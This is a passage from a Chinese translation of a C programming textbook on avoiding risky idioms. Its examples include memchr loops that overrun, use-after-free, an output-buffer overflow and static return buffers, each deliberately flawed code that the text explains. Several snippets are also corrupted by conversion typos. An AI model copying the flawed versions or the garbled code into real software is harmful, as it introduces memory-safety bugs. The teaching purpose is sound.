pch++;

return ((pch < pchEnd) ? pch : NULL);

}

跟底下这个比起来：

void *memchr(void *pv, unsigned char ch, size_t size)

{

unsigned char *pch = (unsigned char a)pv;

unsigned char *pchEnd = pch + size;

while (pch < pchEnd)

{

if (*pch == ch)

return (pch);

pch++;

}

return (NULL);

}

你觉得哪一种比较好？是将pch跟pchEnd比较两次的第一个，还是只比较pch跟pchEnd一次的第二种写法？哪一种比较好懂？重要的是：哪一种在你第一次跑的时候比较可能会正确执行？

藉由区域化while条件式中的内存块范围检查，第二个版本更好懂，而且只作该作的事情。

把特例一次处理掉。

高危险，没回馈

如果你觉得刚刚那两个memchr版本写得没错，再看一遍－它们有同样的潜伏问题。你看出来了吗？提示：当pv指向内存的最后72个字节而size也是72时，memchr会搜寻多大的内存范围？如果你回答"整个内存，一遍一遍又一遍"，你就答对了。这两个版本的memchr由于使用了一种危险的语法习惯，而会进入无穷循环中－臭虫大获全胜。

危险的语法习惯是指那些看来正确，实际上却会在一些特例下失常的写法。C语言中充满了语法习惯，你得尽可能避免这些用法。memchr中危险的地方在于：

pchEnd = pch + size;

while (pch < pchEnd)

.

.

.

这样子，pchEnd用在while条件式中，指向要搜寻的最后一个字符之后。这对程序员也许方便，不过只在那个内存地址存在时。而如果你要搜寻的内存刚好在内存地址尾端，它当然就不会正常动作了。（这一点有个例外－如果你用ANSI C－你永远可以算出一个已命名数组最后一个元素之后的第一个元素的位置，ANSI C要求这一点一定要被支持到。）

第一次修正这问题时，你也许会把程序重写，比较是否到了有效内存地址的最后一个字符：

pchEnd = pch + size - 1;

while (pch <= pchEnd)

.

.

.

不过这样不会有用的。记得我们之前在BuildToLowerTable时看到的UCHAR_MAX溢位问题吗？你在这里犯了同样的错误。pcEnd现在也许指向合法的内存地址，可是由于pch每次都会跳到溢位了的pchEnd+1，而让循环永不终止的执行下去。

当你有个指针跟计数器时，安全处理一个内存范围的做法是使用计数器作为控制条件：

void *memchr(void *pv, unsigned char ch, size_t size)

{

unsigned char *pch = (unsigned char *)pv;

while (size-- > 0)

{

if (*pch == ch)

return (pch);

pch++;

}

return (NULL);

}

上头的程序不只正确，而且还会比之前版本产生出更好的程序代码，因为它不必初始化pchEnd. 常见的观念是使用size-的写法会让程序变大而且比用pchend的写法慢，因为size必须在递减以前先保留数值（为了跟0进行比较）。事实是，大部分编译器对使用size-写法的版本产生的程序代码确实跑得要快些，而且更小；你得到的程序代码取决于编译器如何配置缓存器的使用方式，而在80x86的编译器上，还决定于你使用的内存模式。不过这两种因素造成的程序大小与执行速度的差异可以说是可以忽略的。

这边又有一个稍早我提到过的语法习惯的问题。有些程序员会劝你把循环表示式中的size--写成--size：

while (--size >= 0)

.

.

.

这样改的理由是这样的写法应该不会产生出更差的程序代码，有时还会产生更好的程序代码。这建议的唯一问题在于，如果你盲目照著作，臭虫就会像秃鹰般侵袭你的程序。

为什么？

嗯，对于初学者来说，如果size是个无号数（像memchr中那样），这种写法永远不会动作，因为无号数在定义上，永远大于或等于0，这循环会一直跑下去。糟吧？

对有号数来说，这种写法也不一定会正常动作。如果size是个整数，而在进入循环时的内容是最小的负数INT_MIN，会发生什么事？size会先被递减而溢位，让循环跑许多遍，而非完全不动作。这也很糟糕吧？

size-- > 0的写法无论你如何宣告size的资料型态都会正常动作－这是个不起眼却很重要的差别。

程序员们使用--size > =0写法的唯一理由是想获得一些执行效率，可是让我们看看这理由成不成立。如果你真的碰到执行速度上的问题，作这样微小的改善就好象拿指甲刀去修草坪一样－你当然可以这么做，不过你剪下去也看不出什么效果罢了。如果你没碰到执行速度上的问题，冒那种风险作什么哩？就好象每把修剪草皮用的刀子一不一样长并不重要，让每一行程序都最佳化得有效率也不是重要的。重要的是，程序的整体效率。

对有些程序员来说，放弃任何一点可以改进程序效率的机会都像罪恶般。不过，如你在本书中看到的，我的想法是有系统的使用安全的方式跟写法来降低风险，即使那样也许比较没效率些。使用者不会注意到你哪边慢了几个微处理器执行周期，却会注意到你在省下那些执行时间时带来的问题。就投资报酬率来讲，不得冒那种风险。

另一种"浪费效率"的危险语法是使用位运算来代替对二的乘方作乘、除法跟余数运算。例如你在第二章中见过的那个最快版的memset中有这几行：

pb = (byte *)longfill((long *)pb, l, size / 4);

size = size % 4;

我确定有些程序员看过那段程序后，会认为那段程序"多么没效率啊。"那些程序员就是那些会把除法跟余数运算写成位运算的人：

pb = (byte *)longfill((long *)pb, l, size >> 2);

size = size & 3;

使用位运算比除法或余数运算在许多机器上要快很多，可是无号数值对二的乘方的除法或余数运算也确实真的没效率－就像加0或乘1一样－即使最笨的商用编译器也常会帮你将这些表示式最佳化成你的机器上更有效率的程序代码。

不过，有号数表达式呢？这种明白写出的最佳化值得吗？是，也不是。

假设你有个像这样的有号数表达式：

midpoint = (upper + lower) / 2;

一个二的补码系统上的编译器不会把那个除法最佳化成位位移，因为位移一个负数会带来跟有号数除法不同的结果。不过如果你知道upper+lower永远是正的，你就可以把表达式用位位移改写得更快：

midpoint = (upper + lower) >> 1;

所以，是的，明确的最佳化一个有号数表达式有用。问题是，这样子作是最好的方式吗？答案，不。把这样的表达式的资料型态转换一下，就跟位位移的写法一样快而更安全了。试试这个：

midpoint = (unsigned)(upper + lower) / 2;

这点的构想是不要告诉编译器该怎么做，而让它拥有最佳化所需的信息。告诉编译器那个和是个无号数，你就确定它会以位位移的方式处理。比较两种方式，哪一种比较好懂？哪一种比较具有可移植性？

多年来，我找出了许多程序员用位位移来代替不保证为正的有号数除法所造成的错误，找出了程序员们把位移错方向的错误，找出了程序员们用错位移计数的错误。我甚至碰到过有程序员粗心犯下将a=b+c/4写成a=b+c>>2的运算子顺序错误，我可不记得看过有程序员把除以4的/跟4打错过。

C语言中还有许多危险的语法习惯。找出你使用的这些危险用法的最佳方式就是检查你碰到的每个问题，反省先前我告诉你的："我怎样避免这种错误？"你很快就会找出一串自己应该避免的危险语法。

避免使用危险的语法习惯。

Don't Overestimate the Cost

微软是苹果计算机公司在1984年推出麦金塔计算机时，少数几家准备好麦金塔应用程序的公司。明显的，最先推出麦金塔上的产品对微软公司有好处，可是也有缺点。为了在麦金塔上市时推出产品，微软得在麦金塔还在开发时就开始发展产品。结果，微软的程序员们有时得抄些快捷方式来让程序在开发中的麦金塔计算机上能够动作。直到苹果方面对麦金塔的操作系统作了第一次大改版，问题出来了，简单说来就是：苹果要求微软拿掉那些过时的快捷方式来符合如Inside Macintosh书中所提到的最新操作系统规范。

在Microsoft Excel中拿掉其中一个早期的快捷方式写法代表着将一个关键的手写最佳化汇编语言子程序改写过，而改写后的程序要多花12个微处理器周期来执行。由于那个子程序很重要，对这函式该不该修改的讨论就开始了，想照着苹果订出的规范作的跟那些追求速度的人分成了两派。

最后，一名程序员在函式中放了暂时的计数器，并让Excel跑了三个小时的严格测试，看看这函式到底被呼叫了多少次。这函式被呼叫的次数相当高：76,000次。不过即使被呼叫了那么多次，多出来12个微处理器周期的改写函式跑了76,000遍也只在这三小时的测试中多花0.1秒而已，而这是假设你在苹果计算机推出的最慢一种麦金塔计算机上执行这个测试。有了这些发现，程序就被改写了。

这只是另一个说明担心区域效率的问题很少有用处的例子。如果你在乎执行效率，把焦点放在整体跟算法效率上，那你也许可以看到努力后明显改善的结果。

不协调，程序的麻烦

看看底下这程序，里头包含一种最容易出现在你程序中的错误：运算子顺序问题。

word = high<<8 + low;

这程序用来将两个8位的字节拼组成一个16位的位字组，不过+的运算顺序比位移位运算要高，结果就达不到这程序所要作的－它会把high位移8+low个位。这种错误是可以理解的，因为程序员们一班不会把位运算跟数值运算子混用。不过当你可以把两种运算分开写时，为什么要把它们混在一起写呢？

word = high<<8 ? low; /* 位运算的结果 */

word = higha256 + low; /* 数值运算的结果 */

这些例子会比本来那个难懂吗？它们会比第一个没效率吗？当然不。不过它们之间有个重大差异：两种做法都是对的。

当程序员们写出只有一种运算方式的表达式时，他们更容易写出零错误程序，因为他们直觉上晓得每一种运算方式的运算顺序；当然，有些例外，不过就规则上来说，那是正确的。你认识多少程序员会写这样：

midpoint = upper + lower / 2;

而期望加法会比除法慢执行？

程序员们似乎也不会忘记位运算子之间的计算顺序－我想是因为他们还计得在逻辑概念课程中是怎么计算f(A,B,C)=?B+C的。大部分程序员知道位运算子的顺序由高到低是~，&跟|，而不用想太多就可以挤掉~跟&之间的移位运算。

程序员们易于了解不同型态运算子类型内各运算子的顺序，但混用运算子时，直到碰到麻烦，他们才会晓得自己不晓得不同类型运算子间的顺序。所以第一准则是不要不必要的混用运算子。第二准则是如果你必须混用不同类型的运算子，用括号分隔开来。

你已经看过第一准则如何让你免于出错，看看第一章中第一个习题中那个white循环，你就晓得第二准则如何让你免于出错了：

while (ch=getchar() != EOF)

.

.

.

这循环混合了一个指派运算子跟一个比较运算子，而产生运算顺序错误。你可以把循环改写成不混合的形式来避开问题，不过结果看来很可怕：

do

{

ch = getchar();

if (ch == EOF)

break;

.

.

.

} while (TRUE);

在这例子中，最好忽略第一准则，而用第二准则中提到的括号来分隔运算子：

while ((ch=getchar()) != EOF)

.

.

.

非必要不混用不同类型的运算子。

如果你必须混用运算子，就用括号分隔不同运算。

不要查了！

在放入括号时，有些程序员会检查运算顺序表看看有没必要放入这些括号，如果没必要，他们就不放括号。如果你是这类型的程序员，把这段讯息贴在你的屏幕上：如果得查看文件，你的程序就不够明显易懂；让它更容易看得懂吧。如果这代表说你得在技术上不需要括号的地方加上括号，那又如何？明显易懂比只是写得正确更重要，这样看你程序的人也不用再去查一下你写的是什么意思。这个准则比括号带来的好处更多，当你查看某个东西的细节时，值得花时间思索这个问题。

不要跟失误状况扯在一起

在 第五章 <C:Documents and SettingsAdministrator.KINGRON桌面\u23436完美模式设计指南default.asp?isbn=957-8239-22-X_205> 中，我提到过如果你的函式会传回错误状态，就容易让程序员们不正确处理或忽略这些错误状态。我建议你将函式设计成不会传回错误的形式。在本章中，我要转个弯说，不要呼叫会传回错误的函式。那样子，你就不会处理错或是忽略别人写的函式传回来的错误状况。有时你别无选择，而那些时候，你就得好好追踪一下你的错误处理程序有没正确执行了。

我要强调一点建议：如果你的程序中不断处理相同的错误状况，就把那个错误处理的程序分离出来。这是每个程序员都晓得的最简单做法，会将错误处理简化到子程序中去作。这样子不错，不过有时你能作得更好些。

假设Character Windows有六处改变窗口名称的地方。底下的程序会在取得足够内存来容纳新名称时改变窗口标题；不然它会留着本来的窗口标题，并试着把错误处理掉：

if (fResizeMemory(&pwnd->strWndTitle, strlen(strNewTitle)+1))

strcpy(pwnd->strWndTitle, strNewTitle);

else

/* 没办法配置窗口标题所需的内存... */

问题在于如何处理那些错误？告诉使用者，错误发生了？忽略程序的要求，静静的保持原状？拿截短了的新标题盖过原来的窗口标题？没有一种理想的做法，尤其这程序本身只是一个通用链接库的一部份。

这只是你不要程序出现错误状况的一种例子而已。你要窗口的标题永远可被更换，你当然作得到这一点。

前面程序中的问题在于你没保证留下足够的内存来存放新的窗口标题。这解决起来很简单，你只要多配置些内存就好了。例在典型的Character Windows程序中，只有少数窗口的名称会改变，而这些窗口的标题即使在最长状态下占用的内存都不多。你配置内存时不要只配置跟现在标题字符串一样长的内存，而是一次配置好足够装下最长标题字符串的内存量。于是改变窗口标题就成了简单的字符串复制工作了：

strcpy(pwnd->strWndTitle, strNewTitle);

更棒的，你可以将这实作细节隐藏在RenameWindow函式中，而用除错检查来核对已配置的窗口标题内存块是不是足够装下任何可能长度的窗口标题：

void RenameWindow(window *pwnd, char *strNewTitle)

{

ASSERT(fValidWindow(pwnd));

ASSERT(strNewTitle != NULL);

ASSERT(fValidPointer(pwnd->strWndTitle, sizeMaxWndTitle));

strcpy(pwnd->strWndTitle, strNewTitle);

}

这种做法的明显缺失是浪费内存。不过同时，你回收了错误处理程序使用掉的程序代码空间。对你碰到的各种状况，你的任务是衡量资料空间跟程序代码空间的使用情形，决定何者较重要。

避免呼叫会传回错误的函式。

应付风险

现在，你应该相当了解我所说危险的程序设计方式是怎样子了。本章中所有论点都集中在拿能够产生出差不多的程序大小与执行速度而较不易于引发错误的方式来取代危险的程序写作方式。

不过我要说的并不局限于本书所提到的那些而已。好好检查一下你自己写程序的方式，你有彻底思索过你的程序写作习惯吗？或者你只是从别的程序员那边学到这些写作方式呢？刚入门的程序员们会认为使用位位移来作除法是一种旁门左道，可是经验老到的程序员会认为那种技巧是相当明显，作起来不用多想的程序最佳化方式。不过他们应该用这种程序最佳化方式吗？谁的观念才是真正正确的呢？

快速回顾

? 小心选择使用的资料型态。即使ANSI标准要求所有实作支持char，int，long跟其它资料型态，标准中并没有严格定义这些资料型态的内容。只用标准中保证支持的资料型态规格，避开那些不具可移植性的问题。

? 记住一点，即使你的算法正确，你还是有可能在缺乏理想特性的硬件上碰到问题。对此，你应该永远检查你的计算结果，并测试你的资料型态有无溢位或借位的情形。

? 让程序写法忠于原始设计。最容易制造潜藏问题的方式就是再写程序时抄不应该抄的快捷方式。

? 每个函式都应该有个良好定义了的工作，此外，他还应该只有一种完成工作的方式。如果同个程序代码不管输入状态如何都会执行，你就降低了找不出错误的机率。

? if叙述在你也许作了些不必要的工作时，是一种相当良好的警告讯息。反省"我该怎么改变设计来去除特例"，努力消除每一个程序中不必要的if叙述。有时你可能得更动数据结构的设计，有时你得改变处理资料的方式。记住，眼镜镜片是凸透镜还是凹透镜全看你怎么使用它。

? 不要忘了if叙述有时会隐藏在while跟for循环叙述的控制条件式中。?:运算子也是另一种if叙述。

? 提防危险的惯用语法－永远注意如何使用差不多但更安全的写法。留心那些据说能让你得到更加执行效能的程序写法。很少有什么程序写法能让一小段程序在整体效率上有显著的提升作用，而且随之而来的额外风险往往不值得。

? 当你写表达式时，试着不要混用不同类型的运算子。如果你必须混用运算子，就用括号来隔开不同的运算。

? 错误处理算是特例中的特例。如果可能，避免呼叫会执行失败的函式。如果你必须呼叫一个会传回错误状态的函式，试着将错误处理函式区域化－这样子可以在错误处理程序中增加找出错误的机率。

? 有时候，只要保证你要作的事情一定会完成，就可以把常见的错误处理动作消除掉。那也许意味着在程序初始化时将错误处理掉，或是改变你程序的设计方式。

该想想的事

1. "普通"单位元字段的可移植性值域范围多大？

2. 函式如何将布尔（boolean）值如"普通"单位元字段传回？

3. 有一次我想把AddChild中的那个pwndRootChildren改成pwndDisplay. 如此一来我就可以不用指向一块已配置好的window结构的pwndDisplay，而只要宣告一个叫做wndDisplay的window型态整体数据结构就好了。虽然那样子应该可行，你觉得我为什么不那样子作？

4. 一名程序员偶尔会问，他或她为了执行效率，是不是应该把一个这样的循环

5. while (expression)

6. {

7. A;

8. if (f) /* f是个常数表示式。 */

9. B;

10. else

11. C;

12. D;

}

改写成这样

if (f)

while (expression)

{

A;

B;

D;

}

else

while (expression)

{

A;

C;

D;

}

其中A跟D表示两堆叙述。第二种写法也许比较快，不过跟原来的写法比较起来，有多危险呢？

13. 如果你看过ANSI标准，你会发现有好几个有着近乎相同参数的函式－例如，

int strcmp(const char *s1, const char *s2);

为何使用这样相似的参数名称是危险的？你该如何消除这样的风险？

14. 我说明过为何使用如下的循环条件式是危险的

while (pch++ <= pchEnd)

不过为何类似的倒数循环也是危险的呢？

while (pch- >= pchStart)

15. 为了效率或简洁，有些程序员抄如下的快捷方式。为何你应该避免那样作？

16. a.使用printf(str); 而非printf(%s"，str);

17.

18. b.使用f=1-f; 而非f=!f;

19.

20. c.使用多次指派叙述，如

21.

22. int ch; /* ch必须 是个整数。 */

23. .

24. .

25. .

26. ch = *str++ = getchar();

27. .

28. .

.

而非使用两个分开的指派叙述。

29. 比较tolower，uCycleCheckBox与第二章中使用的查表法，你觉得这些查表法的优缺点为何？

30. 假设你的编译器不会自动帮与二的乘方数值的运算使用位运算，在不考虑可移植性的问题跟风险的情形下，为何你还是应该避免使用位位移跟&来作明确的最佳化？

31. 程序设计的一条金科玉律是决不毁损使用者的资料。假设为了存入使用者的档案，你得先成功的配置一个暂存数据缓冲区。你会怎样确保内存不够时，使用者的资料一样能被储存起来？

学习计划：

将你想象得到的危险惯用语法全列出来－switch，任意使用goto，多次评估同样的宏参数，等等方式－将这些用法的优缺点写下来。然后，对列出来的每个项目，决定一下在何种状态下你愿意承担随之而来的风险去使用那种写法。


不可靠的做法

不可靠的做法

当你在写一本离奇小说时，你希望每一页的内容都能牵动读者的注意力。你想唤起读者心中的惊奇、恐惧与悬疑感。如果你写，"某人走了过来，把Joe刺伤了"，你大概会让读者们睡着。要让读者保持阅读兴趣，你得让她感受到Joe听到背后的脚步声一步步靠近时的恐惧感。你得让她经历Joe在那些脚步声愈来愈接近时的那种心跳加速的感受。你得让读者经历Joe在听到脚步声愈来愈近时那般感受，在她们心中升起一股惊慌感。最重要的，你得让读者想着：Joe逃得掉吗？

在离奇小说中使用惊奇跟悬疑的效果是很重要的，可是把这两种效果用在程序中就太恐怖了。当你写程序时，"企图"应该明显而无趣得让程序员们知道接下来会发生什么事。如果你的程序必须有个某人走了过来刺伤Joe的情节，那这个某人走过来，然后刺伤Joe的剧情就必须是你真正要求的东西，你不能旁生枝节。这很短，很清楚，而且告诉你每件你所必须知道的事情。

不过有时候，程序员们抗拒将程序写得如此清晰无趣，想要用怪异的小技俩来达到不正常的目的，完成某些超乎限制的工作。

在本章中，我们会看到几种既不简单也不无趣的程序写作风格。这些范例卖弄小聪明的技俩，用途一点也不明显。当然，这些方式全带来潜藏的错误。

对速度的需求

这是我们在上一章中看到的零错误版memchr：

void *memchr(void *pv, unsigned char ch, size_t size)

{

unsigned char *pch = (unsigned char *)pv;

while (size-- > 0)

{

if (*pch == ch)

return (pch);

pch++;

}

return (NULL);

}

大部分程序员们爱玩的一个游戏就是"我怎样让程序跑得更快？"这游戏玩起来不赖，可是如我们在书中看到的，如果你做得太离谱，它就会带来不可预期的后果。

如果你拿上头的memchr程序代码来玩这种游戏，你会问自己，"我怎样加速那个循环的执行？"只有三个可能：拿掉长度的检查，拿掉字符测试，或者拿掉指针递增的部分。这三个似乎都不可能拿掉，可是你还是可以－如果你想试着用传统大胆的做法的话。

看看那个长度的检查，只有当你在内存前面size个字节里头找不到ch而可以传回NULL时，你才需要这个检查。只要你能保证一定找得到ch，并保证在"找不到ch"的情形出现时，在那块内存的末端有个ch会被找到，你就可以拿掉这个检查：

void *memchr(void *pv, unsigned char ch, size_t size)

{

unsigned char *pch = (unsigned char *)pv;

unsigned char *pchPlant;

unsigned char chSave;

/* pchPlant指向memchr正在搜寻中的内存的第一个字符。

* 把ch放在那个位置，保证即使在在要搜寻的内存范围内

* 没有找到ch，memchr也可以找到一个ch。

*/

pchPlant = pch + size;

chSave = *pchPlant; /* 保留原来的字符。*/

*pchPlant = ch;

while (*pch != ch)

pch++;

*pchPlant = chSave; /* 把本来的字符放回来。*/

return ((pch == pchPlant) ? NULL : pch);

}

这样子写得够精巧吧？把pchPlant指向的字符换掉，你可以保证memchr会找到ch，而且让你拿将长度检查拿掉，加倍循环执行的速度。

不过这样写够稳定吗？这样写够扎实吗？

memchr的新写法看来够稳定，特别是它小心将改变的字符保留着，可是这一版的memchr比蝙蝠侠的小玩意儿有着更多问题。初学者们，想想这些问题：

?

? 如果pchPlant指向只读存储器，将ch写入*pchPlant的动作就无效了，而且这函式会在前面size+1个字节中找不到ch时传回不合格的指针。
?

? 如果pchPlant指向内存对应外围的地址范围内，将ch写入*pchPlant可能会产生可怕的结果，从让软盘机磁头马达停下来或激活，到让工厂的机器人疯狂乱动都有可能发生。
?

? 如果pch指向随机存取内存的最后size个字节处，pch跟size的值都是合格的，可是pchPlant会指向不存在或有写入保护的内存地址。在*pchPlant处写入ch会造成内存存取失误，或什么事情也不会发生，而让函式在ch没出现在头size+1个字符内时执行失败。
?

? pchPlant如果指向并行的多任务执行程序共享的内存，当一个程序把ch写到*pchPlant处时，可能会把另一个多任务执行程序要执行时可能用到的资料毁掉。

最后一种可能性尤其麻烦，因为在并行的多任务执行程序间有许多方式可以把系统当死。如果你在搜寻一块先前配置好的内存时把内存管理器的数据结构毁了，会发生什么事？如果并行处理的多任务执行程序之中一个－以一条执行绪或是一个硬件中断处理程序为例－接下来获得执行权了，它最好不要呼叫内存管理器，因为系统可能会当掉。如果你用memchr来检查一个整体变量数组，而它把其它task使用的相邻变量给毁了，会发生什么事？又如果程序的两份执行程序试着同时搜寻共享的资料，会发生什么事？这些情形的任何几种都可以把你的程序当死。

当然，你可能不会明白最佳化过的memchr会带来潜伏的问题，因为除非它更动了内存的关键部分，不然它会动作得好好的。不过当像最佳化过的memchr函式带来问题时，要找出问题的根源却有如在沙漠风暴中寻找出路一样困难：毕竟，执行memchr的多任务执行程序会动作得好好的；出问题的是别的多任务执行程序－那个用到被更动的内存的－会当掉，而且完全没证据能够指出memchr才是元凶。

如果你本来不晓得价值50,000美金的内电路仿真器是用来作什么的，现在你知道了－我们可以用内电路仿真器保留每个时脉周期的纪录，以及计算机所用到的每个指令跟资料，直到程序当掉为止。你可能要好多天才能看完仿真器执行上头那个有问题的程序的输出结果，如果你能坚持到底，而且不在仿真的结果中瞎找，你应该能找出问题何在。

不过为何要那么辛苦呢？找出那种问题的另一个做法简单多了：不要参考到不属于自己的内存就好了。记住："参考"代表读跟写。读取未知的内存地址可能会跟其它多任务执行程序互动产生可怕的结果，而参考到只读存储器、不存在内存的地址或是内存对映外围的存取地址都可能让你的程序当掉。

不要参考不属于自己的内存。

拿到了钥匙的小偷还是小偷

有够奇怪，我认识一些程序员们，他们虽然不会去动到不属于自己的内存，可是他们会觉得把FreeWindowTree子程序写成底下这样很好：

void FreeWindowTree(window *pwndRoot)

{

if (pwndRoot != NULL)

{

window *pwnd;

/* 释放pwndRoot的子窗口... */

pwnd = pwndRoot->pwndChild;

while (pwnd != NULL)

{

FreeWindowTree(pwnd);

pwnd = pwnd->pwndSibling;

}

if (pwndRoot->strWndTitle != NULL)

FreeMemory(pwndRoot->strWndTitle);

FreeMemory(pwndRoot);

}

}

看看那个while循环，看出问题在哪里了吗？当FreeWindowTree透过串行释放每个子窗口时，它先释放pwnd，然后又在下面这行中参考了已释放的内存块

pwnd = pwnd->pwndSibling

但是在pwnd释放后，pwnd->pwndSibling的值是什么？当然是垃圾，不过有些程序员们不这么认为。稍早的内存内容既然不是垃圾，他们也没去动到内存，他们想，那内存中的内容应该还是有效的。他们并非什么都没作，他们把内存释放掉了。

我从来不了解为什么有些程序员相信被释放了的内存中的内容还是可以使用。这跟你用自己另外打造的钥匙进入自己住过的出租公寓，或者开走一部你卖掉了的车子有什么不同？你不能安全的参考释放了的内存，就如我在第三章中提到过了的，内存管理器会使用可用内存链来存放自己用的一些信息。

资料的存取权限

你看过的任何程序设计手册中可能都没提到，不过任何程序中的资料都预先安排了读写的权限。这种存取权限并没有公开宣告；这种权限定义并没有标示在你宣告的每个变量前面，而是由你的子系统设计跟函式接口所决定的。

举例来说，在呼叫函式的程序员跟写出函式的有效宣告的程序员间有个共识，

如果呼叫者「我」，传给「你」，被呼叫者，一个输入的指针，你同意将这输入指针当成个常数，并保证不会对它进行写入动作。更进一步，如果我传给你一个输出的指针，你同意将这个输出指针当成一个只能写、不能读的对象，承诺不会从它指向的地方读取资料。最后，无论输出或输入指针，你都同意将限制输出或输入指针所指向的内存的参考。

返回时，我，呼叫者，同意将只读的输出结果当成常数，保证不会写入资料进去。我更进一不同意限制对输出指针所指向的必须内存进行参考的动作。

换句话说，"你不要把我的东西搞混，我也不会把你的东西搞混。"记住这点：当你违反一个预先定好的读写权限时，你就冒着让相信每个程序员都会遵守这些规矩的人所写的程序出错的风险。一名呼叫如memchr般函式的程序员不应有必要担心memchr会在不常见的情形下出现怪异的行为。

不要参考你释放掉的内存。

只拿走你需要的东西

在上一章，我提出了一个UnsToStr函式的实作方式，像这样：

/* UnsToStr - 将无号数转换成字符串。 */

void UnsToStr(unsigned u, char *str)

{

char *strStart = str;

do

*str++ = (u % 10) + '0';

while ((u /= 10) > 0);

*str = 0';

ReverseStr(strStart);

}

上头的程序代码是UnsToStr的简单写法，不过一定有程序员们会觉得这样子写不好，因为这程序将数字反向转换成字符串，还要呼叫ReverseStr来把结果反转回来。这样似乎是浪费时间的做法，如果你要先把数字反着放，放完再反转回来，那为何不直接把数字从尾端放回来，这样就不用再多一次反转的步骤了，不是吗？底下就是省略反转步骤的写法：

void UnsToStr(unsigned u, char *str)

{

char *pch;

/* u超出范围？请改用UlongToStr吧... */

ASSERT(u <= 65535);

/* 将数字反过来放在str中。

* 先从字符串装得下u的最大位数的位置放起。

*/

pch = &str[5];

*pch = 0';

do

*--pch = (u % 10) + '0';

while ((u /= 10) > 0);

strcpy(str, pch);

}

有些程序员觉得这样写比较好，因为这样跑起来比较有效率而易懂。UnsToStr变得更有效率，因为strcpy（你还是需要这个函式）比ReverseStr快，特别在那些可以把这样的呼叫编译成内含指令而非函式呼叫的编译器上。这样的程序代码易于了解，因为C语言的程序写作者们熟悉strcpy. 当程序员们看到ReverseStr时，他们就像看到一名住院的朋友还可以走路一样踌躇失措。

问题何在？如果UnsToStr如此完美，我还要跟你提这些作什么？它当然不完美，事实上，新的UnsToStr有个严重的缺陷。

告诉我，str参数指向多大的内存？你不知道。你不知道一个指针指向多大的内存，这在C的接口中是很常见的事情。在呼叫者与实作之间的共识是str会指向能够装下u转换后的文字的内存。可是最佳化过的UnsToStr假设str会指向能够装下u所能代表的最大位数的空间，实际上可能不是如此。如果呼叫者写成底下这样，那会如何？

DisplayScore()

{

char strScore[3]; /* UserScore从0到25。*/

UnsToStr(UserScore, strScore);

.

.

.

由于UserScore从来不会产生超过三个字符长度的字符串（两位数字跟一个零字符），对程序员来说，把strScore设计成长度为三个元素的字符数组十分合理。可是UnsToStr会假设strScore是个六元素的字符数组ㄝ而将strScore之后的三个字节的内存内容毁掉。在DisplayScore的例子中，如果你的机器上的堆栈是向下增长的类型，UnsToStr通常会把堆栈框中存放的DisplayScore呼叫者的返回地址或且呼叫者的堆栈框指针毁掉。你的机器大概会当掉，而你会注意到这个问题。如果strScore如果不是个区域变量,你大概不会发现UnsToStr已经把strScore后头的内存内容搅乱了。

我确定有程序员会说把strScore宣告得大得只够装下他们所需要的最长可能字符串是危险的做法。可是只有在程序员把程序写得如同刚刚看到的UnsToStr版本一般时，那样的做法才会是危险的。事实上不用这样啰唆，你可以写个UnsToStr跑得既安全又有效率，只要在区域缓冲区内把字符串建立好，再把结果复制到str去就好了：

void UnsToStr(unsigned u, char *str)

{

char strDigits[6]; /* 转换缓冲区 */

char *pch;

/* u超出范围？请改用UlongToStr吧... */

ASSERT(u <= 65535);

/* 将数字反过来放在str中。

* 先从字符串装得下u的最大位数的位置放起。

*/

pch = &strDigits[5];

*pch = '0';

do

*-pch = (u % 10) + '0';

while ((u /= 10) > 0);

strcpy(str, pch);

}

你得记得，除非另外定义，不然如str般的指针不会指向你能用来当作工作缓冲区的内存。如str这般为了效率需求而存在的指针是以参考地址的方式传递的，而不是以地址值的方式传递的。

不要使用输出内存作为工作缓冲区。

把自己的东西放好

当然，有程序员会想，即使在UnsToStr中呼叫strcpy都太浪费了。为何不干脆传回一个指向已经建立好了的字符串的指针，省下把字符串复制到别处的功夫呢？

char *strFromUns(unsigned u)

{

static char *strDigits = "?????"; /* 5个字符 + '0'*/

char *pch;

/* u超出范围？请改用UlongToStr吧... */

ASSERT(u <= 65535);

/* Store the digits in strDigits from back to fromt. */

pch = &strDigits[5];

ASSERT(*pch == '0');

do

*--pch = (u % 10) + '0';

while ((u /= 10) > 0);

return (pch);

}

这个程序几乎跟我们在上一节中到的那个版本相同，除了strDigits被宣告成静态的，使它的内容在strFromUns返回时也一样继续保存着。

不过想象一下：如果你要实作一个用来转换两个无号数成字符串的函式，你用下面的方式来写

strHighScore = strFromUns(HighScore);

.

.

.

strThisScore = strFromUns(Score);

这里头有什么问题呢？你用strFromUns来转换Score，你把strHighScore指向的字符串毁了。

你可以说，这个错误在呼叫strFromUns的程序代码中而非strFromUns本身，不过记得我们在第五章提到的东西吗？函式能够正常运作还不够正确；它们必须避免程序员犯错才行。我会说，这个strFromUns至少有个接口错误，因为你我都知道有些程序员会使用刚刚那种有问题的做法。

即使一名程序员了解strFromUns产生的字符串内容的缺点，他们还是可能在不了解自己在作什么之前制造出问题来。假设一名程序员呼叫了strFromUns，然后呼叫另一个函式，在这后来的函式中也不知不觉的呼叫了strFromUns，那她本来的那个字符串就会被毁了。或者假设有好几条执行绪同时在跑，有条执行绪呼叫了strFromUns，而把另一条执行绪还在使用的字符串给清除掉。

而这些问题跟strFromUns制造的一个问题比较起来，不过是小巫见大巫而已。什么问题？strFromUns会在你的程序项目发展大了以后爆炸开来。如果你决定把strFromUns的呼叫放到一个函式中：

?

? 你必须确定呼叫这个函式的程序代码（以及呼叫这些程序代码的程序）不会用到strFromUns传回来的字符串。换句话说，你必须确定没有函式会在你函式上头的呼叫链中用到strFromUns里头的缓冲区。
?

? 你也必须确定你不会呼叫任何呼叫strFromUns的函式，免得毁了一个你正在使用的字符串。当然，这就是说，你不能呼叫一个会呼叫strFromUns的函式。

整体缓冲区的问题

strFromUns的例子说明了你再将资料透过指向静态内存的指针传回来时所要面对的危险。这个例子中没提到的是，同样的危险也存在你将资料透过静态缓冲区传递时。你可以把strFromUns改写成将一个数值字符串放在一个整体缓冲区中，或是一个你的程序一开头就用malloc配置好了的永久缓冲区中，可是那样子并不能去除strFromUns的危险性，因为程序员们还是可能在一串呼叫链中使用这个函是两次，而让第一次呼叫得到的字符串毁掉。

基本原则就是，不要在整体缓冲区中传递资料，除非你一定得这么做。如果你强迫呼叫函式的程序代码得提供一个指向输出缓冲区的指针，你就可以避免掉整个问题。

